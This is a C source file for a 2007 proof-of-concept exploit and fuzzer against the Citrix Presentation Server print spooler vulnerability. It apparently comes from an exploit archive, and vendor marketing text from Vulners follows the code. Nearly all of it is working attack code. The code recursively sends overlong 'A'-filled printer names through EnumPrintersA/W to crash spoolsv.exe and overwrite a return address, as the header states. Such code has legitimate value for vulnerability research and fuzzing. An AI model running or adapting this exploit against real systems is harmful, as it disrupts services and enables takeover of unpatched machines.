/*
Proof of concept exploit for ZDI - Citrix Metaframe spooler service vulnerability
Microsoft Windows - EnumPrinter() & EnumPrinterW() Fuzzer v0.1
Author: Andres Tarasco Acuña - [email protected]
url: http://www.514.es
This is an intial version of EnumPrinter() and OpenPrinter() fuzzer. I hope that
it will help to identify similar vulnerabilities.
Tested against win2k3 + Citrix presentation server. If the system is vulnerable
this application will kill spooler service (spoolsv.exe ) and ret will be overwritten
with 0x00410041
514 Tiger Team ownz u
*/
#include <stdio.h>
#include <windows.h>
#include <Winspool.h>
#pragma comment(lib,"Winspool.lib")
void usage(char *name) {
printf("Usage: %s -a (Ascii fuzzing for local printer providers)\n",name);
printf("Usage: %s -u (Unicode fuzzing for local printer providers)\n",name);
exit(0);
}
#define RECURSIVE 1
#define OPT_UNICODE 2
#define MAX_PRINTER_LEN 4096
#define _DBG_
#undef _DBG_
int CustomFuzzSize[]= {25,50,100,150,250,300,500,1000,1500, 2000};
wchar_t dst[MAX_PRINTER_LEN];
void Fuzzer( wchar_t *orig,int opt, int unicode) {
int i,j;
int len;
if (unicode) len=wcslen(orig);
else len=strlen((char *)orig);
memset((char *)dst,'\0',sizeof(dst));
memcpy((char *)dst,orig,len*(1+unicode));
j=wcslen(orig);
for(i=0;i<CustomFuzzSize[opt];i++) {
if (unicode) dst[j+i]='A';
else ((char *)dst)[j+i]=(char)'A';
}
if (opt==0) {
if (unicode)
printf("Fuzzing: %S ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
else printf("Fuzzing: %s ( %i -%i)\n",dst,CustomFuzzSize[0],CustomFuzzSize[sizeof(CustomFuzzSize)/sizeof(int)-1]);
}
}
DWORD ShowPrinterInfo(wchar_t *lpName, int level, int opt, char *padding) {
unsigned char *lpInfo;
int i,j;
DWORD n;
DWORD dwSizeNeeded=0;
char newpadding[50];
DWORD ret;
if (opt & OPT_UNICODE) {
EnumPrintersW ( PRINTER_ENUM_NAME, (wchar_t* )lpName, level, NULL, 0, &dwSizeNeeded, &n );
} else {
EnumPrintersA ( PRINTER_ENUM_NAME, (char *)lpName, level, NULL, 0, &dwSizeNeeded, &n );
}
if (dwSizeNeeded==0) {
#ifdef _DBG_
printf ( "EnumPrintersX() Invalid. Error: %d \n",GetLastError() );
#endif
return(-1);
}
lpInfo = (void *)HeapAlloc ( GetProcessHeap (), HEAP_ZERO_MEMORY, dwSizeNeeded );
if ( lpInfo != NULL ) {
if (opt & OPT_UNICODE) {
ret=EnumPrintersW ( PRINTER_ENUM_NAME,(wchar_t *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
} else {
ret=EnumPrintersA ( PRINTER_ENUM_NAME,(char *)lpName,level,(LPBYTE)lpInfo,dwSizeNeeded,&dwSizeNeeded,&n);
}
if ( ret== 0 )
{
#ifdef _DBG_
printf ( "EnumPrintersX() Failed. Error: %d ( %i)\n",GetLastError(),dwSizeNeeded );
#endif
HeapFree ( GetProcessHeap (), 0, lpInfo );
return 0;
} else {
PRINTER_INFO_1 *dataI;
PRINTER_INFO_2 *dataII;
for ( i=0; i < n; i++ ) {
dataI=(PRINTER_INFO_1*)lpInfo;
printf("%s",padding);
if (opt & OPT_UNICODE) {
if (dataI[i].pName) printf(" %S - ",(dataI[i].pName));
if (dataI[i].pDescription) printf(" %S ",(dataI[i].pDescription));
//if (dataI[i].pComment) printf(" %S - ",(dataI[i].pComment));
} else {
if (dataI[i].pName) printf(" %s - ",(dataI[i].pName));
if (dataI[i].pDescription) printf(" %s ",(dataI[i].pDescription));
//if (dataI[i].pComment) printf(" %s - ",(dataI[i].pComment));
}
printf("\n");
for(j=0;j<sizeof(CustomFuzzSize)/sizeof(int);j++) {
if (opt & OPT_UNICODE) {
Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
ShowPrinterInfo((wchar_t*)dst,level, OPT_UNICODE, newpadding);
} else {
Fuzzer( (wchar_t *) dataI[0].pName, j,opt & OPT_UNICODE);
ShowPrinterInfo((wchar_t*)dst,level, 0, newpadding);
}
}
if (opt & RECURSIVE ) {
strcpy (newpadding,padding);
strcat(newpadding,"---");
newpadding[1]='+';
ShowPrinterInfo(dataI[i].pName,level, opt, newpadding);
}
printf("\n");
}
HeapFree ( GetProcessHeap (), 0, lpInfo );
}
}
return(1);
}
int testPrinters(void) {
DWORD size,ret,err;
ret=EnumPrintersW ( PRINTER_ENUM_NAME, NULL, 1, NULL, 0, &size, &size );
if ( ret==0 ) {
err=GetLastError();
if (err!=122) { //size error
printf("[-] Printer Service not available - Error: %d\n",err );
exit(-1);
}
}
return(1);
}
int main ( int argc, char *argv[] )
{
printf("[+] Citrix Presentation Server - Local EnumPrinterW() POC exploit\n");
printf("[+] Discovered by ZDI - http://secunia.com/advisories/23869/\n");
printf("[+] Proof of concept by Andres Tarasco - [email protected]\n\n");
if (argc!=2) usage(argv[0]);
testPrinters();
printf("[+] Printer Service Seems to be working.. Fuzzing\n");
if ( (argv[1][1]=='u')) {
ShowPrinterInfo(NULL,1,3,"[*]");
testPrinters();
}
if ( (argv[1][1]=='a')) {
ShowPrinterInfo(NULL,1,1,"[*]");
testPrinters();
}
return(0);
}
// milw0rm.com [2007-01-26]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation